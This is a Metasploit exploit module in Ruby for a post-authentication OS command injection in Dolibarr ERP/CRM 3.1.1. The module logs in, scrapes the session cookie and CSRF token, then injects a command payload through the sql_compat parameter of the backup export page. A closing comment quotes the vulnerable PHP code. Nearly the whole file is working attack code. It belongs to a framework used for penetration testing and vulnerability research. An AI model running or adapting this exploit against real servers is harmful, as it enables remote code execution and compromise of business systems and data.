184 lines
5.3 KiB
Ruby
184 lines
5.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Dolibarr ERP/CRM Post-Auth OS Command Injection",
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'Description' => %q{
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This module exploits a vulnerability found in Dolibarr ERP/CRM 3's
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backup feature. This software is used to manage a company's business
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information such as contacts, invoices, orders, stocks, agenda, etc.
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When processing a database backup request, the export.php function
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does not check the input given to the sql_compat parameter, which allows
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a remote authenticated attacker to inject system commands into it,
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and then gain arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>', #Discovery, PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '80980'],
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['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
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],
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'Arch' => ARCH_CMD,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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},
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'Platform' => %w{ linux unix },
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'Targets' =>
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[
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# Older versions are probably also vulnerable according to
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# Nahuel's report on full disclosure
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['Dolibarr 3.1.1 on Linux', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 6 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('USERNAME', [true, 'Dolibarr Username', 'admin']),
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OptString.new('PASSWORD', [true, 'Dolibarr Password', 'test']),
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OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
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], self.class)
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end
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def check
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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res = send_request_raw({
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'method' => 'GET',
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'uri' => uri
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})
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if res and res.body =~ /Dolibarr 3\.1\.1/
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def get_sid_token
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res = send_request_raw({
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'method' => 'GET',
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'uri' => @uri.path
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})
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return [nil, nil] if res.nil? || res.get_cookies.empty?
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# Get the session ID from the cookie
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m = res.get_cookies.match(/(DOLSESSID_.+);/)
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id = (m.nil?) ? nil : m[1]
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# Get the token from the decompressed HTTP body response
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m = res.body.match(/type="hidden" name="token" value="(.+)"/)
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token = (m.nil?) ? nil : m[1]
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return id, token
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end
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def login(sid, token)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{@uri.path}index.php",
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'cookie' => sid,
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'vars_post' => {
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'token' => token,
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'loginfunction' => 'loginfunction',
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'tz' => '-6',
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'dst' => '1',
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'screenwidth' => '1093',
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'screenheight' => '842',
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'username' => datastore['USERNAME'],
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'password' => datastore['PASSWORD']
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}
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})
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location = res.headers['Location']
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return (location =~ /admin\//)
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end
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def exploit
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@uri = target_uri
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@uri.path << "/" if @uri.path[-1, 1] != "/"
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peer = "#{rhost}:#{rport}"
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print_status("Getting the sid and token...")
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sid, token = get_sid_token
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if sid.nil?
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print_error("Unable to retrieve a session ID")
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return
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elsif token.nil?
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print_error("Unable to retrieve a token")
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return
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end
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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print_status("Attempt to login with \"#{user}:#{pass}\"")
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success = login(sid, token)
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if not success
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print_error("Unable to login")
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return
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end
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print_status("Sending malicious request...")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(@uri.path, "admin/tools/export.php"),
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'cookie' => sid,
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'vars_post' => {
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'token' => token,
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'export_type' => 'server',
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'what' => 'mysql',
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'mysqldump' => '/usr/bin/mysqldump',
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'use_transaction' => 'yes',
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'disable_fk' => 'yes',
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'sql_compat' => ";#{payload.encoded};",
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'sql_structure' => 'structure',
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'drop' => '1',
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'sql_data' => 'data',
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'showcolumns' => 'yes',
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'extended_ins' => 'yes',
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'delayed' => 'yes',
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'sql_ignore' => 'yes',
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'hexforbinary' => 'yes',
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'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
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'compression' => 'none'
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}
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})
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end
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end
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=begin
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Notes:
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114 if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
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...
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137 $paramcrypted=$param;
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...
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159 $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
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...
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165 if ($handle)
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166 {
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....
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169 $handlein = popen($fullcommandclear, 'r');
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....
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185 }
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=end
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